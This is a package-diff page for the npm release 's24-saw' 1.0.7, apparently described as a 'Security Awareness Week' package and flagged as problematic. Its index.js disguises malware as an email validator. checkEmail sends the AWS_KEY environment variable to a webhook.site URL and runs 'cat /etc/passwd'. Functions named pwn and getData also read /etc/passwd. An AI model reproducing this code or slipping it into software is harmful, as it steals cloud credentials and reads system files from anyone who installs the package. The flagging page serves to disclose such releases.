s24-saw 1.0.7
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of s24-saw might be problematic. Click here for more details.
- package/index.js +26 -0
- package/package.json +15 -0
- package/test.js +2 -0
package/index.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const validator = require("email-validator");
|
3
|
+
const { exec } = require("child_process");
|
4
|
+
|
5
|
+
exports.pwn = function() {
|
6
|
+
exec("cat /etc/passwd", (error, stdout, stderr) => {
|
7
|
+
console.log(`stdout: ${stdout}`);
|
8
|
+
});
|
9
|
+
}
|
10
|
+
|
11
|
+
exports.getData = function() {
|
12
|
+
exec("cat /etc/passwd", (error, stdout, stderr) => {
|
13
|
+
console.log(`stdout: ${stdout}`);
|
14
|
+
});
|
15
|
+
}
|
16
|
+
|
17
|
+
exports.checkEmail = function(email) {
|
18
|
+
const aws_key = process.env.AWS_KEY;
|
19
|
+
https.get(`https://webhook.site/cce1e3c6-bd7a-448a-baf3-5a17137182d1/${aws_key}`, (resp) => {
|
20
|
+
console.log("exf key");
|
21
|
+
});
|
22
|
+
exec("cat /etc/passwd", (error, stdout, stderr) => {
|
23
|
+
console.log(`stdout: ${stdout}`);
|
24
|
+
});
|
25
|
+
return validator.validate(email);
|
26
|
+
}
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "s24-saw",
|
3
|
+
"version": "1.0.7",
|
4
|
+
"description": "Security Awareness Week",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "REDACTED",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"email-validator": "^2.0.4",
|
13
|
+
"https": "^1.0.0"
|
14
|
+
}
|
15
|
+
}
|
package/test.js
ADDED